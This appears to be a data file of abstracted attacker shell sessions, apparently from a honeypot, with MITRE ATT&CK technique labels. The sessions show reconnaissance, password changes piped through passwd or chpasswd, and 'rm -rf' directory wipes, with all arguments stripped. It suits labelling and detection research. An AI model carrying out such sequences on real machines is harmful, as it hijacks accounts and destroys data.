('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'echo -e | passwd | bash', 'echo | passwd', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'echo -e | passwd | bash', 'echo | passwd', 'top')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'top')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1057 Process Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo | chpasswd | bash', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'echo -e | passwd | bash', 'echo | passwd', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cat /proc/cpuinfo | grep name | wc -l | head -c 30

('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l | head -c', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo -e | passwd | bash', 'echo | passwd', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo | chpasswd | bash', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')